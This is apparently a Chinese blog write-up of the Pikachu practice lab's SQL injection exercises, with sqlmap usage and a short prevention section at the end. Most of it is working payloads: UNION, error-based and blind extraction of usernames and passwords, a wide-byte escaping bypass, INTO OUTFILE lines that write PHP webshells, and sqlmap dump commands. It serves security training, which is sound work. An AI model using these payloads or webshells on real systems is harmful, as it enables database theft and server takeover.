Pikahu-SQL注入模块和sqlmap经典用法

一、概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;

2.使用参数化(Parameterized Query 或 Parameterized Statement);

3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

 

 

二、数字型sql注入(post型):

第一步:先输入1

第二步:由于是post型,所以抓包修改为恒成立:

id=1 or 1=1

 可以看到,页面返回了所有的数据信息。

   

   

三、字符型sql注入(get类型):

第一步:输入

   

第二步:字符型注入需要闭合sql语句,然后加上恒成立,得到所有数据

kobe' or 1=1 #

   

   

   

四、搜索型注入:

第一步:搜索一个字母k尝试:

查看源码:

可以看到,这里用了搜索的sql语句:select  username ,id ,email from member where username like '%$name%'   

第二步:同样的道理,可以选择闭合sql语句

k%' or 1=1#:

 

   

   

五、XX型注入:

数据包裹方式不同而已,在之前sql-labs关卡中遇到许多这种,所以在实际中要多测试:

a') or 1=1#

   

   

六:联合注入:(以最后一个类型为例)

第一步:判断字段数:a')  order by 3#

a')  order by 2#

 

可以知道字段数是2

第二步:使用联合查询语句得到数据库:pikachu

a')  union select database(),2#

   

第三步:查询数据库中的表

x') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

   

第四步:查询users表中的字段名:

x') union select table_name,column_name from information_schema.columns where table_name='users'#

   

第五步:联合查处得到用户名和密码

a')  union select username,password from users#

   

   

 

七、报错注入:

条件:后台没有屏蔽报错信息

常用函数:updatexml() exactvalue() floor()(取整函数)

在之前sqlilabs中做过,其他步骤省略(可以根据上面修改payload)。直接得到用户名和密码:

k') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)#

 

   

   

   

   

   

八、insert注入:

插入类型sql语句: insert into member (username ,pw,sex,phonenum,email,address) valuse('hzk','123456',1,123,123,123);

在插入的必填项中:hzk' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

其他步骤相同,复制payload即可。

   

   

九、update注入:

先登录进去,然后在修改信息的框中直接填入语句即可,payload和insert的相同:

hzk' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

 

   

   

   

十、delete类型注入:

第一步:删除时抓包看一下:

第二步:后台根据id然后删除,发送到repeater,然后改包:

id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)

第三步:因为是在url中,所以需要进行url的编码:

  

   

   

十一、Http Header注入:

登陆之后发现有对头部信息的获取,所以可能存在注入

   

第一步:抓包:

第二步:修改user-agent或者cookie完成注入:

firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1) or '

   

   

十二、sql盲注(base on boolian)

利用and构造语句:返回成功正常显示

kobe' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112#

   

返回失败显示

kobe' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )》112#

   

   

十三、sql盲注(base on time)

payload:kobe' and if((substr(database(),1,1))='p',sleep(5),null )#根据时间的延迟来做判断

用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟再返回。

   

   

   

   

十四、宽字节注入:

14.1 漏洞利用

当我们输入有单引号时被转义为\',无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 "%5c",而 "%df%5c" 是繁体字 "連"。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

kobe %df' or 1=1#

这样再构造其他的payload就能完成注入

14.2 其他方法 

除了上面的方法之外,还有其他的办法,比如暴力破解 一句话木马 sqlmap工具等。

一句话木马的方法之前在sqli-labs记录很详细,说一下满足条件:

1.需要知道写入的远程目录。

2.需要远程目录有写权限。

3.需要数据库开启了secure_file_priv.

 

14.3 以字符型注入为例,payload:

kobe' union select "<?php @eval($_POST['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm.php"#

可以通过菜刀连接,拿到shell

kobe' union select "<?php @eval($_GET['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm.php"#

通过get型,可以在url中写入语句

kobe' union select "<?php system($_GET['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm2.php"#

可以在url中执行cmd命令

   

   

十五、sqlmap经典用法:以pikachu布尔盲注为例

使用kail自带的sqlmap:

   

第一步:找到对应的输入点,在输入框中输入字符得到url:

http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2

   

第二步:判断是否存在漏洞:

sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2"

   

第三步:得到数据库:

sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db

 

   

第四步:得到表名:sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

 

   

第五步:得到字段名:sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

   

第六步:拿到数据

sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

   

第七步:用自带的字典对数据破解:

得到用户名和密码。sqlmap非常方便而且强大。

   

   

 

十六、对sql注入的防范

1、代码层面

(1)对输入进行严格的转义和过滤

(2)使用预处理和参数化(Parameterized)

2、网络层面

(1)通过WAF设备启用防SQL注入策略(类似的防护系统)

(2)云端防护(360网站卫士,阿里云盾等等)

posted @ 2020-03-31 22:58  N0r4h  阅读(1017)  评论(0)    收藏  举报